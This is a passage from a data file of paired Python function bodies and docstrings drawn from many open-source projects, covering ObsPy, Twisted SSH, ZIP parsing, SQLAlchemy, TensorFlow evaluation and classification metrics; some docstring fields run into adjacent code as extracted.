XML with protocol_tag"} {"code": "def test_get_waveforms(self):\n with mock.patch(self._cls + \".get_waveforms_bulk\") as p:\n p.return_value = \"1234\"\n st = self.client.get_waveforms(\n network=\"XX\", station=\"XXXXX\", location=\"XX\", channel=\"XXX\",\n starttime=obspy.UTCDateTime(2017, 1, 1),\n endtime=obspy.UTCDateTime(2017, 1, 2),\n longestonly=True, minimumlength=2)\n self.assertEqual(st, \"1234\")\n self.assertEqual(p.call_count, 1)\n self.assertEqual(\n p.call_args[0][0][0],\n [\"XX\", \"XXXXX\", \"XX\", \"XXX\", obspy.UTCDateTime(2017, 1, 1),\n obspy.UTCDateTime(2017, 1, 2)])\n self.assertEqual(p.call_args[1],\n {\"longestonly\": True, \"minimumlength\": 2})\n", "nl": "This just dispatches to the get_waveforms_bulk() method - so no needto also test it explicitly."} {"code": "def iter_entry_points(self, group, name=None):\n return (\n entry\n for dist in self\n for entry in dist.get_entry_map(group).values()\n if name is None or name == entry.name\n )\n", "nl": "Yield entry point objects from `group` matching `name`If `name` is None, yields all entry points in `group` from alldistributions in the working set, otherwise only ones matchingboth `group` and `name` are yielded (in distribution order)."} {"code": "def _get_opt_weights(self):\n\n Parameters\n ----------\n gp : object\n The optimized GP model.\n \"\"\"", "nl": "Function to get optimized kernel weights.# Train the GP.gp = GaussianProcess(train_fp=self.train_matrix, train_target=self.train_targets,kernel_list=self.kernel_list, regularization=self.reg,optimize_hyperparameters=True, scale_data=True)self.kernel_list = gp.kernel_listself.reg = gp.regularizationreturn gpdef _make_predict(self, gp):Make prediction based on current feature representaion."} {"code": "def load_mar_projects():\n r = requests.get(\n 'https://maps2.dcgis.dc.gov/dcgis/rest/services/DCGIS_DATA/Property_and_Land_WebMercator/MapServer/53/query?where=1%3D1&outFields=SSL,ASSESSMENT&returnGeometry=false&outSR=4326&f=json'\n )\n data = r.json()['features']\n return {r['attributes']['SSL']: r['attributes']['ASSESSMENT'] for r in data}\n", "nl": "Loads and trasforms the \"Address Points\" raw data from opendata.dcurl = utils.get_paths_for_data('mar', years=utils.get_years())[0]df = pd.read_csv(url)df = df[['ADDRESS_ID', 'ACTIVE_RES_UNIT_COUNT', 'SSL', 'CLUSTER_']]df.columns = ['proj_address_id', 'active_res_unit_count', 'ssl', 'neighborhood_cluster']return dfdef load_tax():Adds the Project Taxable Value attribute to the data."} {"code": "def step(self, actions):\n pass\n", "nl": "Execute the next ``actions``.:param actions: next actions that will be executed.:return: return a set of rewards"} {"code": "def ssh_KEXINIT(self, packet):\n retval = SSHTransportBase.ssh_KEXINIT(self, packet)\n if not retval:\n return\n else:\n kexAlgs, keyAlgs, rest = retval\n if ord(rest[0:1]):\n if (kexAlgs[0] != self.supportedKeyExchanges[0] or\n keyAlgs[0] != self.supportedPublicKeys[0]):\n self.ignoreNextPacket = True\n\n", "nl": "Called when we receive a MSG_KEXINIT message. For a descriptionof the packet, see SSHTransportBase.ssh_KEXINIT(). Additionally,this method checks if a guessed key exchange packet was sent. Ifit was sent, and it guessed incorrectly, the next key exchangepacket MUST be ignored."} {"code": "def surface_mean_temperature(self, lat, lon):\n return self.instance.temperature(lat, lon)\n", "nl": "Method to compute the annual mean surface temperature (K).The temperature is computed at 2 m above the surface of the Earth."} {"code": "def _check_parser(parser: str):\n\n if parser not in _parsers:\n raise KeyError(\n f\"Invalid parser {repr(parser)} passed, \"\n f\"valid parsers are {_parsers.keys()}\"\n )\n\n", "nl": "Make sure a valid parser is passed.Parameters----------parser : strRaises------KeyError* If an invalid parser is passed"} {"code": "def save(self) -> None:\n self.add()\n self.commit()\n", "nl": "Write entity to DB."} {"code": "def alive(self) -> bool:\n return bool(len(self.__data) or (not self.__killed))\n\n @property", "nl": "Does this cursor have the potential to return more data?This is mostly useful with `tailable cursors`_since they will stop iterating even though they *may* return moreresults in the future.With regular cursors, simply use a for loop instead of :attr:`alive`::for doc in collection.find():print(doc).. note:: Even if :attr:`alive` is True, :meth:`next` can raise:exc:`StopIteration`. :attr:`alive` can also be True while iteratinga cursor from a failed server. In this case :attr:`alive` willreturn False after :meth:`next` fails to retrieve the next batchof results from the server."} {"code": "def get_name(self):\n return self.name\n", "nl": "Returns:The name of the object."} {"code": "def to_lowercase(df, column_names=[]):\n if not column_names:\n return to_lowercase_all(df)\n else:\n df[column_names] = df[column_names].applymap(lambda s: s.lower() if type(s) == str else s)\n return df\n\n", "nl": "This function transforms strings of the column names in the dataframepassed to lowercaseArgs:df (pd.DataFrame): Raw dataframe with some text columns.column_names(list, optional): column names to be changed to lowercase.Returns:pd.DataFrame: Dataframe with columns with lowercase standardization."} {"code": "def forward(self, x):\n x = self.conv[0](x)\n for i in range(1,self.layers):\n x = self.conv[i](x)\n\n return x\n\n\nclass CausalDilConv1d(nn.Module):\n \"\"\"1D Causal DILATED CONVOLUTION\"\"\"", "nl": "Forward calculationArg:x (Variable): float tensor variable with the shape (B x C x T)Return:(Variable): float tensor variable with the shape (B x C x T)"} {"code": "def test_errorPageRendering(self):\n code = 321\n brief = \"brief description text\"\n detail = \"much longer text might go here\"\n page = self.errorPage(code, brief, detail)\n self._pageRenderingTest(page, code, brief, detail)\n\n", "nl": "L{ErrorPage.render} returns a C{bytes} describing the error defined bythe response code and message passed to L{ErrorPage.__init__}. It alsouses that response code to set the response code on the L{Request}passed in."} {"code": "def visit_list(self, layout):\n self.write(self._indent(' '))\n self.format_children(layout)\n self.writeln('')\n", "nl": "display a list (using )self.writeln(self._indent(' ' % self.handle_attrs(layout)))for row in list(self.compute_content(layout)):self.writeln(' %s' % row)self.writeln(self._indent(' '))def visit_paragraph(self, layout):display links (using )"} {"code": "def _make_csv_row(i):\n return \"%d,%d,%s,%s,%s\" % (i * 2,\n i,\n 'red' if i % 2 else 'blue',\n 'hello world' if i % 2 else 'bye moon',\n '/image%d.jpeg' % i)\n\n output_folder = tempfile.mkdtemp()\n try:\n input_data_path = tempfile.mkstemp(dir=output_folder, prefix='data')[1]\n file_io.write_string_to_file(\n input_data_path,\n '\\n'.join([_make_csv_row(i) for i in range(100)]))\n\n input_schema_path = tempfile.mkstemp(dir=output_folder, prefix='sch')[1]\n file_io.write_string_to_file(\n input_schema_path,\n json.dumps([{'name': 'target', 'type': 'INTEGER'},\n {'name': 'int', 'type': 'INTEGER'},\n {'name': 'cat', 'type': 'STRING'},\n {'name': 'text', 'type': 'STRING'},\n {'name': 'img', 'type': 'STRING'}], indent=2))\n\n input_feature_path = tempfile.mkstemp(dir=output_folder, prefix='feat')[1]\n file_io.write_string_to_file(\n input_feature_path,\n json.dumps({'target': {'transform': 'target'},\n 'int': {'transform': 'scale'},\n 'int2': {'transform': 'identity', 'source_column': 'int'},\n 'int3': {'transform': 'key', 'source_column': 'int'},\n 'cat1': {'transform': 'one_hot', 'source_column': 'cat'},\n 'cat2': {'transform': 'embedding', 'source_column': 'cat'},\n 'text': {'transform': 'tfidf', 'source_column': 'text'},\n 'text2': {'transform': 'bag_of_words', 'source_column': 'text'},\n 'text3': {'transform': 'key', 'source_column': 'text'},\n 'img': {'transform': 'image_to_vec'}}, indent=2))\n\n cmd = ['python %s/analyze.py' % CODE_PATH,\n '--output=' + output_folder,\n '--csv=' + input_data_path,\n '--schema=' + input_schema_path,\n '--features=' + input_feature_path]\n subprocess.check_call(' '.join(cmd), shell=True)\n\n self.assertTrue(os.path.isfile(os.path.join(output_folder, 'vocab_cat.csv')))\n self.assertTrue(os.path.isfile(os.path.join(output_folder, 'vocab_text.csv')))\n\n stats = json.loads(\n file_io.read_file_to_string(\n os.path.join(output_folder, analyze.constant.STATS_FILE)).decode())\n\n self.assertEqual(stats['num_examples'], 100)\n col = stats['column_stats']['int']\n self.assertAlmostEqual(col['max'], 99.0)\n self.assertAlmostEqual(col['min'], 0.0)\n self.assertAlmostEqual(col['mean'], 49.5)\n\n col = stats['column_stats']['target']\n self.assertAlmostEqual(col['max'], 198.0)\n self.assertAlmostEqual(col['min'], 0.0)\n self.assertAlmostEqual(col['mean'], 99.0)\n\n col = stats['column_stats']['cat']\n self.assertEqual(col['vocab_size'], 2)\n finally:\n shutil.rmtree(output_folder)\n\n\nif __name__ == '__main__':\n unittest.main()", "nl": "Makes a csv file with the following header.target,number,category,text,image"} {"code": "def is_disjoint(self, tree):\n\n T has to implement following methods\n ------------------------------------\n\n insert(...)\n insert(key, value) <==> T[key] = value, insert key into T\n\n remove(...)\n remove(key) <==> del T[key], remove key from T\n", "nl": "T.isdisjoint(S) -> True if x has a null intersection with tree thiskeys = frozenset(self.keys())return thiskeys.isdisjoint(frozenset(tree.keys()))isdisjoint = is_disjoint # for compatibility to set()def _build_sets(trees):return [frozenset(tree.keys()) for tree in trees]def _multi_tree_get(trees, key):for tree in trees:try:return tree[key]except KeyError:passraise KeyError(key)class CPYTHON_ABCTree(_ABCTree): Base class for the Python implementation of trees."} {"code": "def add_single_ground_truth_image_info(self, image_id, groundtruth_dict):\n if image_id in self._image_ids:\n raise ValueError('Image with id {} already added.'.format(image_id))\n\n groundtruth_class_tuples = (\n groundtruth_dict[standard_fields.InputDataFields.groundtruth_classes])\n groundtruth_box_tuples = (\n groundtruth_dict[standard_fields.InputDataFields.groundtruth_boxes])\n\n self._evaluation.add_single_ground_truth_image_info(\n image_key=image_id,\n groundtruth_box_tuples=self._process_groundtruth_boxes(\n groundtruth_box_tuples),\n groundtruth_class_tuples=groundtruth_class_tuples)\n self._image_ids.update([image_id])\n all_classes = []\n for field in groundtruth_box_tuples.dtype.fields:\n all_classes.append(groundtruth_class_tuples[field])\n groudtruth_positive_classes = np.unique(np.concatenate(all_classes))\n verified_labels = groundtruth_dict.get(\n standard_fields.InputDataFields.groundtruth_image_classes,\n np.array([], dtype=int))\n self._evaluatable_labels[image_id] = np.unique(\n np.concatenate((verified_labels, groudtruth_positive_classes)))\n\n self._negative_labels[image_id] = np.setdiff1d(verified_labels,\n groudtruth_positive_classes)\n", "nl": "Adds groundtruth for a single image to be used for evaluation.Args:image_id: A unique string/integer identifier for the image.groundtruth_dict: A dictionary containing -standard_fields.InputDataFields.groundtruth_boxes: A numpy arrayof structures with the shape [M, 1], representing M tuples, each tuplecontaining the same number of named bounding boxes.Each box is of the format [y_min, x_min, y_max, x_max] (seedatatype vrd_box_data_type, single_box_data_type above).standard_fields.InputDataFields.groundtruth_classes: A numpy array ofstructures shape [M, 1], representing the class labels of thecorresponding bounding boxes and possibly additional classes (seedatatype label_data_type above).standard_fields.InputDataFields.groundtruth_image_classes: numpy arrayof shape [K] containing verified labels.Raises:ValueError: On adding groundtruth for an image more than once."} {"code": "def compute_forward_kinematics(fk_fn, conf):\n pose = fk_fn(list(conf))\n pos, rot = pose\n quat = quat_from_matrix(rot)\n return pos, quat\n\n", "nl": "use the given fk function to compute FKParameters----------fk_fn : function handleconf : listjoint valuesReturns-------pos: 3-list[x,y,z] of the FK solution posequat: 4-listquaternion of the FK solution pose"} {"code": "def _RealGetContents(self):\n l = []\n for data in self.filelist:\n l.append(data.filename)\n return l\n", "nl": "Read in the table of contents for the ZIP file.fp = self.fptry:endrec = _EndRecData(fp)except IOError:raise BadZipfile(\"File is not a zip file\")if not endrec:raise BadZipfile, \"File is not a zip file\"if self.debug > 1:print endrecsize_cd = endrec[_ECD_SIZE] # bytes in central directoryoffset_cd = endrec[_ECD_OFFSET] # offset of central directoryself._comment = endrec[_ECD_COMMENT] # archive comment# \"concat\" is zero, unless zip was concatenated to another fileconcat = endrec[_ECD_LOCATION] - size_cd - offset_cdif endrec[_ECD_SIGNATURE] == stringEndArchive64:# If Zip64 extension structures are present, account for themconcat -= (sizeEndCentDir64 + sizeEndCentDir64Locator)if self.debug > 2:inferred = concat + offset_cdprint \"given, inferred, offset\", offset_cd, inferred, concat# self.start_dir: Position of start of central directoryself.start_dir = offset_cd + concatfp.seek(self.start_dir, 0)data = fp.read(size_cd)fp = cStringIO.StringIO(data)total = 0while total < size_cd:centdir = fp.read(sizeCentralDir)if len(centdir) != sizeCentralDir:raise BadZipfile(\"Truncated central directory\")centdir = struct.unpack(structCentralDir, centdir)if centdir[_CD_SIGNATURE] != stringCentralDir:raise BadZipfile(\"Bad magic number for central directory\")if self.debug > 2:print centdirfilename = fp.read(centdir[_CD_FILENAME_LENGTH])# Create ZipInfo instance to store file informationx = ZipInfo(filename)x.extra = fp.read(centdir[_CD_EXTRA_FIELD_LENGTH])x.comment = fp.read(centdir[_CD_COMMENT_LENGTH])x.header_offset = centdir[_CD_LOCAL_HEADER_OFFSET](x.create_version, x.create_system, x.extract_version, x.reserved,x.flag_bits, x.compress_type, t, d,x.CRC, x.compress_size, x.file_size) = centdir[1:12]x.volume, x.internal_attr, x.external_attr = centdir[15:18]# Convert date/time code to (year, month, day, hour, min, sec)x._raw_time = tx.date_time = ( (d>>9)+1980, (d>>5)&0xF, d&0x1F,t>>11, (t>>5)&0x3F, (t&0x1F) * 2 )x._decodeExtra()x.header_offset = x.header_offset + concatx.filename = x._decodeFilename()self.filelist.append(x)self.NameToInfo[x.filename] = x# update total bytes read from central directorytotal = (total + sizeCentralDir + centdir[_CD_FILENAME_LENGTH]+ centdir[_CD_EXTRA_FIELD_LENGTH]+ centdir[_CD_COMMENT_LENGTH])if self.debug > 2:print \"total\", totaldef namelist(self):Return a list of file names in the archive."} {"code": "def remove(self):\n result = self.zone.alarmClock.DestroyAlarm([(\"ID\", self.alarm_id)])\n alarms = Alarms()\n alarms.alarms.pop(self.alarm_id, None)\n self._alarm_id = None\n return result\n\n @property", "nl": "Remove the alarm from the Sonos system.There is no need to call `save`. The Python instance is not deleted,and can be saved back to Sonos again if desired.Returns:bool: If the removal was sucessful."} {"code": "def _flat_input_serving_receiver_fn(tf_transform_output, schema):\n raw_feature_spec = _get_raw_feature_spec(schema)\n raw_feature_spec.pop(_LABEL_KEY)\n\n raw_input_fn = tf_estimator.export.build_parsing_serving_input_receiver_fn(", "nl": "Build the serving function for flat list of Dense tensors as input.Args:tf_transform_output: A TFTransformOutput.schema: the schema of the input data.Returns:Tensorflow graph which parses examples, applying tf-transform to them."} {"code": "def test_no_unique_minimized_arguments_for_variant_task(self):\n self.testcase.minimized_arguments = '--arg2'\n self.testcase.job_type = 'linux_asan_chrome'\n self.testcase.put()\n\n self.assertEqual(\n '--arg1 --arg2 --arg3=\"--flag1 --flag2\"',\n setup._get_application_arguments(\n self.testcase, 'linux_msan_chrome_variant', 'variant'))\n", "nl": "Test that only APP_ARGS is returned if minimized arguments have nounique arguments, for variant task."} {"code": "def test_options_load_good_config(self):\n Test that loading a good configuration file with no subcommand and no subcommand provided via CLI args\n results in an unset subcommand.\n \"\"\"", "nl": "Test that loading a good configuration file yields expected results.configuration_path = os.path.join(self.callpath, \"test/configurations/configuration.cfg\")sys.argv = [\"ec2rl\", \"run\", \"--config-file={}\".format(configuration_path)]self.options = ec2rlcore.options.Options(subcommands=self.__subcommands)self.assertEqual(self.options.global_args[\"asdf\"], \"1234\")self.assertEqual(self.options.per_module_args[\"arpcache\"][\"efgh\"], \"5678\")def test_options_load_good_config_no_subcommand(self):"} {"code": "def include_in(self, dist):\n\n if not self.available:\n raise DistutilsPlatformError(\n self.description + \" is required, \"\n \"but is not available on this platform\"\n )\n\n dist.include(**self.extras)\n\n for f in self.require_features:\n dist.include_feature(f)\n", "nl": "Ensure feature and its requirements are included in distributionYou may override this in a subclass to perform additional operations onthe distribution. Note that this method may be called more than onceper feature, and so should be idempotent."} {"code": "def resources(self) -> List[ResourceRecord]:\n resources: List[ResourceRecord] = []\n\n resources.append(\n self._make_resource(\"Time passed\", \"seconds\", \"time_passed\", None)\n )\n\n for name, unit in [(\"cpu\", \"%\"), (\"mem\", \"kb\")]:\n for func in [min, max, mean]:\n resources.append(\n self._make_resource(\n f\"{name} {func.__name__}\", unit, name, cast(Callable, func)\n )\n )\n\n return resources\n", "nl": "Return resources values used during execution.:return: List of ResourceRecord"} {"code": "def hello_plugin():\n html = u'''\n\n return render_template_string(html)\n\n", "nl": "uA simple view functionreturn u'Hello World, this is served from an extension'def override_flask_home():uA simple replacement for the flash Home view function."} {"code": "def testMonitorMetricThatIsAlreadyMonitored(self):\n metricName = \"test-\" + uuid.uuid1().hex\n\n adapter = datasource_adapter_factory.createCustomDatasourceAdapter()\n\n g_log.info(\"Creating htmengine custom metric; name=%s\", metricName)\n metricId = adapter.createMetric(metricName)\n self.addCleanup(adapter.deleteMetricByName, metricName)\n\n modelSpec = {\n \"datasource\": \"custom\",\n \"metricSpec\": {\n \"metric\": metricName\n }\n }\n\n adapter.monitorMetric(modelSpec)\n\n with self.engine.connect() as conn:\n metricObj = repository.getMetric(conn,\n metricId,\n fields=[schema.metric.c.status])\n self.assertEqual(metricObj.status, MetricStatus.PENDING_DATA)\n\n data = [\n (0, datetime.datetime.utcnow() - datetime.timedelta(minutes=5)),\n (100, datetime.datetime.utcnow())\n ]\n with self.engine.connect() as conn:\n repository.addMetricData(conn, metricId, data)\n\n adapter.activateModel(metricId)\n\n with self.engine.connect() as conn:\n metricObj = repository.getMetric(conn,\n metricId,\n fields=[schema.metric.c.status,\n schema.metric.c.model_params])\n self.assertIn(metricObj.status, (MetricStatus.CREATE_PENDING,\n MetricStatus.ACTIVE))\n\n self._assertClassifierStatusInModelParams(metricObj.model_params,\n classifierEnabled=False)\n\n g_log.info(\"Waiting for model to become active\")\n self.checkModelIsActive(metricId)\n\n g_log.info(\"Waiting at least one model result\")\n self.checkModelResultsSize(metricId, 1, atLeast=True)\n\n", "nl": " monitorMetric should raise if already monitored metricName = \"test-\" + uuid.uuid1().hexadapter = datasource_adapter_factory.createCustomDatasourceAdapter()g_log.info(\"Creating htmengine custom metric; name=%s\", metricName)adapter.createMetric(metricName)self.addCleanup(adapter.deleteMetricByName, metricName)# Turn on monitoringmodelSpec = {\"datasource\": \"custom\",\"metricSpec\": {\"metric\": metricName}}modelId = adapter.monitorMetric(modelSpec)with self.assertRaises(app_exceptions.MetricAlreadyMonitored) as cm:adapter.monitorMetric(modelSpec)self.assertEqual(cm.exception.uid, modelId)def testActivateModel(self): Test activateModel "} {"code": "def attrs(self):\n return util.ImmutableProperties(\n dict(\n (key, AttributeState(self, key))\n for key in self.manager\n )\n )\n\n @property", "nl": "Return a namespace representing each attribute onthe mapped object, including its current valueand history.The returned object is an instance of :class:`.AttributeState`.This object allows inspection of the current datawithin an attribute as well as attribute historysince the last flush."} {"code": "def store(self, filename: str) -> None:\n try:\n with open(filename, \"rb\") as file:\n tagger = pickle.load(file)\n assert not tagger._training\n tagger._freeze_N()\n return tagger\n except OSError:\n return None\n", "nl": "Store a previously trained model in a fileself._finish_training()with open(filename, \"wb\") as file:pickle.dump(self, file, protocol=pickle.HIGHEST_PROTOCOL)@staticmethoddef load(filename: str) -> Optional[\"TnT\"]:Load a previously trained and stored model from file"} {"code": "def CreateMyDevicesIntegration(self, request, context):\n context.set_code(grpc.StatusCode.UNIMPLEMENTED)\n context.set_details('Method not implemented!')\n raise NotImplementedError('Method not implemented!')\n", "nl": "CreateMyDevicesIntegration creates a MyDevices application-integration."} {"code": "def getMetrics(self, predictions, ground):\n discretePredictions = to_categorical(predictions.argmax(axis=1))\n\n truePositives = np.sum(discretePredictions*ground, axis=0)\n falsePositives = np.sum(np.clip(discretePredictions - ground, 0, 1), axis=0)\n falseNegatives = np.sum(np.clip(ground-discretePredictions, 0, 1), axis=0)\n\n print(\"True Positives per class : \", truePositives)\n print(\"False Positives per class : \", falsePositives)\n print(\"False Negatives per class : \", falseNegatives)\n\n macroPrecision = 0\n macroRecall = 0\n for c in range(1, NUM_CLASSES):\n precision = truePositives[c] / (truePositives[c] + falsePositives[c])\n macroPrecision += precision\n recall = truePositives[c] / (truePositives[c] + falseNegatives[c])\n macroRecall += recall\n f1 = ( 2 * recall * precision ) / (precision + recall) if (precision+recall) > 0 else 0\n print(\"Class %s : Precision : %.3f, Recall : %.3f, F1 : %.3f\" % (label2emotion[c], precision, recall, f1))\n\n macroPrecision /= 3\n macroRecall /= 3\n macroF1 = (2 * macroRecall * macroPrecision ) / (macroPrecision + macroRecall) if (macroPrecision+macroRecall) > 0 else 0\n print(\"Ignoring the Others class, Macro Precision : %.4f, Macro Recall : %.4f, Macro F1 : %.4f\" % (macroPrecision, macroRecall, macroF1))\n\n truePositives = truePositives[1:].sum()\n falsePositives = falsePositives[1:].sum()\n falseNegatives = falseNegatives[1:].sum()\n\n print(\"Ignoring the Others class, Micro TP : %d, FP : %d, FN : %d\" % (truePositives, falsePositives, falseNegatives))\n\n microPrecision = truePositives / (truePositives + falsePositives)\n microRecall = truePositives / (truePositives + falseNegatives)\n\n microF1 = ( 2 * microRecall * microPrecision ) / (microPrecision + microRecall) if (microPrecision+microRecall) > 0 else 0\n\n predictions = predictions.argmax(axis=1)\n ground = ground.argmax(axis=1)\n accuracy = np.mean(predictions==ground)\n\n print(\"Accuracy : %.4f, Micro Precision : %.4f, Micro Recall : %.4f, Micro F1 : %.4f\" % (accuracy, microPrecision, microRecall, microF1))\n return accuracy, microPrecision, microRecall, microF1\n\n", "nl": "Given predicted labels and the respective ground truth labels, display some metricsInput: shape [# of samples, NUM_CLASSES]predictions : Model output. Every row has 4 decimal values, with the highest belonging to the predicted classground : Ground truth labels, converted to one-hot encodings. A sample belonging to Happy class will be [0, 1, 0, 0]Output:accuracy : Average accuracymicroPrecision : Precision calculated on a micro level. Ref - https://datascience.stackexchange.com/questions/15989/micro-average-vs-macro-average-performance-in-a-multiclass-classification-settin/16001microRecall : Recall calculated on a micro levelmicroF1 : Harmonic mean of microPrecision and microRecall. Higher value implies better classification"} {"code": "def terminate_worker_by_id(worker_id: int):\n urt = UnmanicRunningTreads()\n foreman = urt.get_unmanic_running_thread('foreman')\n return foreman.terminate_worker_thread(worker_id)\n\n", "nl": "Terminate a worker given that worker's ID:param worker_id::return:"} {"code": "def luserMe(self, info):\n\n", "nl": "Called with information about the server connected to.@type info: C{str}@param info: A plaintext string describing the number of users and serversconnected to this server."} {"code": "def _generateName(self):\n return \"PoolThread-%s-%s\" % (self.name or id(self), self.workers)\n\n", "nl": "Generate a name for a new pool thread.@return: A distinctive name for the thread.@rtype: native L{str}"} {"code": "def ResetAllStats(self, achievements: bool) -> bool:\n return self.steam.ResetAllStats(achievements)\n\n", "nl": "Reset all Steam statistics; optional to reset achievements:param achievements: bool:return: bool"} {"code": "def test_readOnlyAttributes(self):\n f = LoggingFile(self.logger)\n\n self.assertRaises(AttributeError, setattr, f, \"closed\", True)\n self.assertRaises(AttributeError, setattr, f, \"encoding\", \"utf-8\")\n self.assertRaises(AttributeError, setattr, f, \"mode\", \"r\")\n self.assertRaises(AttributeError, setattr, f, \"newlines\", [\"\\n\"])\n self.assertRaises(AttributeError, setattr, f, \"name\", \"foo\")\n\n", "nl": "Some L{LoggingFile} attributes are read-only."} {"code": "def _format(val: Any, output_format: str = \"standard\", errors: str = \"coarse\") -> Any:\n val = str(val)\n result: Any = []\n\n if val in NULL_VALUES:\n return [np.nan]\n\n if not validate_nz_ird(val):\n if errors == \"raise\":\n raise ValueError(f\"Unable to parse value {val}\")\n error_result = val if errors == \"ignore\" else np.nan\n return [error_result]\n\n if output_format == \"compact\":\n result = [ird.compact(val)] + result\n elif output_format == \"standard\":\n result = [ird.format(val)] + result\n\n return result", "nl": "Reformat a number string with proper separators and whitespace.Parameters----------valThe value of number string.output_formatIf output_format = 'compact', return string without any separators or whitespace.If output_format = 'standard', return string with proper separators and whitespace."} {"code": "def check_metadata(self):\n metadata = self.distribution.metadata\n\n missing = []\n for attr in ('name', 'version', 'url'):\n if not (hasattr(metadata, attr) and getattr(metadata, attr)):\n missing.append(attr)\n\n if missing:\n self.warn(\"missing required meta-data: %s\" % ', '.join(missing))\n if metadata.author:\n if not metadata.author_email:\n self.warn(\"missing meta-data: if 'author' supplied, \" +\n \"'author_email' should be supplied too\")\n elif metadata.maintainer:\n if not metadata.maintainer_email:\n self.warn(\"missing meta-data: if 'maintainer' supplied, \" +\n \"'maintainer_email' should be supplied too\")\n else:\n self.warn(\"missing meta-data: either (author and author_email) \" +\n \"or (maintainer and maintainer_email) \" +\n \"should be supplied\")\n", "nl": "Ensures that all required elements of meta-data are supplied.Required fields:name, version, URLRecommended fields:(author and author_email) or (maintainer and maintainer_email))Warns if any are missing."} {"code": "def emit_stanza(self, element):\n if not self._head_emitted:\n raise RuntimeError(\".emit_head() must be called first.\")\n string = self._emit_element(element, level = 1,\n declared_prefixes = self._root_prefixes)\n return remove_evil_characters(string)\n\n\n_THREAD = threading.local()\n", "nl": "\"Serialize a stanza.Must be called after `emit_head`.:Parameters:- `element`: the element to serialize:Types:- `element`: :etree:`ElementTree.Element`:Return: serialized element:Returntype: `unicode`"} {"code": "def pop(self, key, *args):\n if len(args) > 1:\n raise TypeError(\"pop expected at most 2 arguments, got %d\" % (1 + len(args)))\n try:\n value = self.get_value(key)\n self.remove(key)\n return value\n except KeyError:\n if len(args) == 0:\n raise\n else:\n return args[0]\n", "nl": "T.pop(k[,d]) -> v, remove specified key and return the corresponding value.If key is not found, d is returned if given, otherwise KeyError is raised"} {"code": "def add_header(self, key, val):\n\n ...what? Basically, expose the parsed HTTP headers from the server response\n the way `cookielib` expects to see them.\n \"\"\"", "nl": "cookielib has no legitimate use for this method; add it back if you find one.raise NotImplementedError(\"Cookie headers should be added with add_unredirected_header()\")def add_unredirected_header(self, name, value):self._new_headers[name] = valuedef get_new_headers(self):return self._new_headers@propertydef unverifiable(self):return self.is_unverifiable()@propertydef origin_req_host(self):return self.get_origin_req_host()@propertydef host(self):return self.get_host()class MockResponse(object):Wraps a `httplib.HTTPMessage` to mimic a `urllib.addinfourl`."} {"code": "def reparent(self, new_parent, index=None):\n if new_parent.owner != self.owner:\n raise ValueError(\"new parent doesn't belong to the same game\")\n n = new_parent\n while True:\n if n == self:\n raise ValueError(\"would create a loop\")\n n = n.parent\n if n is None:\n break\n self.parent._children.remove(self)\n self.parent = new_parent\n if index is None:\n new_parent._children.append(self)\n else:\n new_parent._children.insert(index, self)\n", "nl": "Move this node to a new place in the tree.new_parent -- Tree_node from the same game.Raises ValueError if the new parent is this node or one of itsdescendants.If 'index' is specified, the node is inserted in the new parent's childlist at the specified index (behaves like list.insert); otherwise it'splaced at the end."} {"code": "def compile_(source, filename=None, mode=\"exec\", flags=0, dont_inherit=0):\n if isinstance(source, ast.AST):\n return compile(source, filename, mode, flags, dont_inherit)\n _genframe = sys._getframe(1)\n s = Source(source)\n co = s.compile(filename, mode, flags, _genframe=_genframe)\n return co\n\n", "nl": " compile the given source to a raw code object,and maintain an internal cache which allows laterretrieval of the source code for the code objectand any recursively created code objects."} {"code": "def collect_impl(self):\n\n ld = self.ldata\n rd = self.rdata\n deep = not self.shallow\n\n for event, entry in compare(ld, rd):\n if deep and fnmatches(entry, *JAR_PATTERNS):\n if event == LEFT:\n yield DistJarRemoved(ld, rd, entry)\n elif event == RIGHT:\n yield DistJarAdded(ld, rd, entry)\n elif event == DIFF:\n yield DistJarChange(ld, rd, entry, True)\n elif event == SAME:\n yield DistJarChange(ld, rd, entry, False)\n\n elif deep and fnmatches(entry, \"*.class\"):\n if event == LEFT:\n yield DistClassRemoved(ld, rd, entry)\n elif event == RIGHT:\n yield DistClassAdded(ld, rd, entry)\n elif event == DIFF:\n yield DistClassChange(ld, rd, entry, True)\n elif event == SAME:\n yield DistClassChange(ld, rd, entry, False)\n\n elif deep and fnmatches(entry, *TEXT_PATTERNS):\n if event == LEFT:\n yield DistContentRemoved(ld, rd, entry)\n elif event == RIGHT:\n yield DistContentAdded(ld, rd, entry)\n elif event == DIFF:\n yield DistTextChange(ld, rd, entry)\n elif event == SAME:\n yield DistTextChange(ld, rd, entry, False)\n\n elif deep and fnmatches(entry, \"*/MANIFEST.MF\"):\n if event == LEFT:\n yield DistContentRemoved(ld, rd, entry)\n elif event == RIGHT:\n yield DistContentAdded(ld, rd, entry)\n elif event == DIFF:\n yield DistManifestChange(ld, rd, entry, True)\n elif event == SAME:\n yield DistManifestChange(ld, rd, entry, False)\n\n else:\n if event == LEFT:\n yield DistContentRemoved(ld, rd, entry)\n elif event == RIGHT:\n yield DistContentAdded(ld, rd, entry)\n elif event == DIFF:\n yield DistContentChange(ld, rd, entry, True)\n elif event == SAME:\n yield DistContentChange(ld, rd, entry, False)\n\n\nclass DistReport(DistChange):\n \"\"\"\n\n report_name = \"DistReport\"\n\n", "nl": "emits change instances based on the delta of the two distributiondirectories"} {"code": "def merge(self, instance, load=True):\n\n if self._warn_on_events:\n self._flush_warning(\"Session.merge()\")\n\n _recursive = {}\n _resolve_conflict_map = {}\n\n if load:\n self._autoflush()\n\n object_mapper(instance)\n autoflush = self.autoflush\n try:\n self.autoflush = False\n return self._merge(\n attributes.instance_state(instance),\n attributes.instance_dict(instance),\n load=load,\n _recursive=_recursive,\n _resolve_conflict_map=_resolve_conflict_map,\n )\n finally:\n self.autoflush = autoflush\n", "nl": "Copy the state of a given instance into a corresponding instancewithin this :class:`.Session`.:meth:`.Session.merge` examines the primary key attributes of thesource instance, and attempts to reconcile it with an instance of thesame primary key in the session. If not found locally, it attemptsto load the object from the database based on primary key, and ifnone can be located, creates a new instance. The state of eachattribute on the source instance is then copied to the targetinstance. The resulting target instance is then returned by themethod; the original source instance is left unmodified, andun-associated with the :class:`.Session` if not already.This operation cascades to associated instances if the association ismapped with ``cascade=\"merge\"``.See :ref:`unitofwork_merging` for a detailed discussion of merging... versionchanged:: 1.1 - :meth:`.Session.merge` will now reconcilepending objects with overlapping primary keys in the same wayas persistent. See :ref:`change_3601` for discussion.:param instance: Instance to be merged.:param load: Boolean, when False, :meth:`.merge` switches intoa \"high performance\" mode which causes it to forego emitting historyevents as well as all database access. This flag is used forcases such as transferring graphs of objects into a 